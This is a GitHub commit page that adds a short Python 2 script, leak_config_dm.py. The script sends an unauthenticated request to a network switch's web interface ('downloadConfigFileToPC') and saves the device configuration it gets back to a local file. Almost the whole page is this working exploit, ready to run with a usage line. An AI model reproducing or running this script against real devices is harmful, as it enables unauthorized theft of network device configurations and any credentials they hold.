Skip to content

Commit bb7f6b7

Browse files
authored
Create leak_config_dm.py
1 parent 466cbe2 commit bb7f6b7

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed

procurvy/leak_config_dm.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#!/usr/bin/python2
2+
# coding: utf-8
3+
import requests
4+
import sys
5+
import re
6+
7+
def log_config(ip, config):
8+
logfile = "out/%s-config.ppc" %(ip)
9+
f = open(logfile, "wb")
10+
f.write(config)
11+
f.close()
12+
13+
def dump_config(target):
14+
ip = re.search(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target).group()
15+
print "{+} Dumping config from %s" %(ip)
16+
url = "%s/html/json.html?method:downloadConfigFileToPC&name=config" %(target)
17+
try:
18+
r = requests.get(url, verify=False)
19+
except:
20+
sys.exit("{-} Dump failed...")
21+
if "Config" in r.text:
22+
log_config(ip=ip, config=r.text)
23+
print "{+} Dumped config to out/%s-config.ppc" %(ip)
24+
else:
25+
sys.exit("{-} Dump failed...")
26+
27+
def main(args):
28+
if len(args) != 2:
29+
sys.exit("use: %s http://1.1.1.1:80" %(args[0]))
30+
dump_config(target=args[1])
31+
32+
if __name__ == "__main__":
33+
main(args=sys.argv)

0 commit comments

Comments
 (0)